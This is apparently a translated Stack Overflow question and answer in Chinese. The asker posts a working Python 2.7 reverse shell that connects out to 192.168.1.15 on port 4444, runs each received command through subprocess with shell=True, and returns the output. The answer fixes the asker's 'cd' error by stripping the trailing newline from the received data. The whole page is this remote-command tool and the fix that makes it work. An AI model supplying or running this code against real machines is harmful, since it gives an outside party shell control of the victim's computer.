WindowsError:[错误123]文件名,目录名称或卷标签语法不正确

时间:2018-12-22 02:24:53

标签: python-2.7 reverse-shell

我正在制作一个简单的Python 2.7反向外壳程序,每次在netcat服务器中键入cd C:\时都会使用目录更改功能,它将引发此错误“ WindowsError:[Error 123]文件名,目录名或卷标签语法不正确:'C:\\ n'“这是我的代码。

    import socket
    import os
    import subprocess
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = "192.168.1.15"
    port = 4444
    s.connect((host, port))
    s.send(os.getcwd() + '> ')
    def Shell():
        while True:
            data = s.recv(1024)
            if data[:2] == 'cd':
                os.chdir(data[3:])
            if len(data) > 0:
                proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
                result = proc.stdout.read() + proc.stderr.read()
                s.send(result)
                s.send(os.getcwd() + '> ')
                print(data)
    Shell()

1 个答案:

答案 0 :(得分:0)

当您使用data = s.recv(1024)从远程接收数据时,将同时接收在按 Enter 结束当前输入时生成的\n字符。

因此,您仅需.strip(),或在获取数据时使用[:-1]删除最后一个字符(即\n)。

data = s.recv(1024).strip()

data = s.recv(1024)[:-1]

都可以。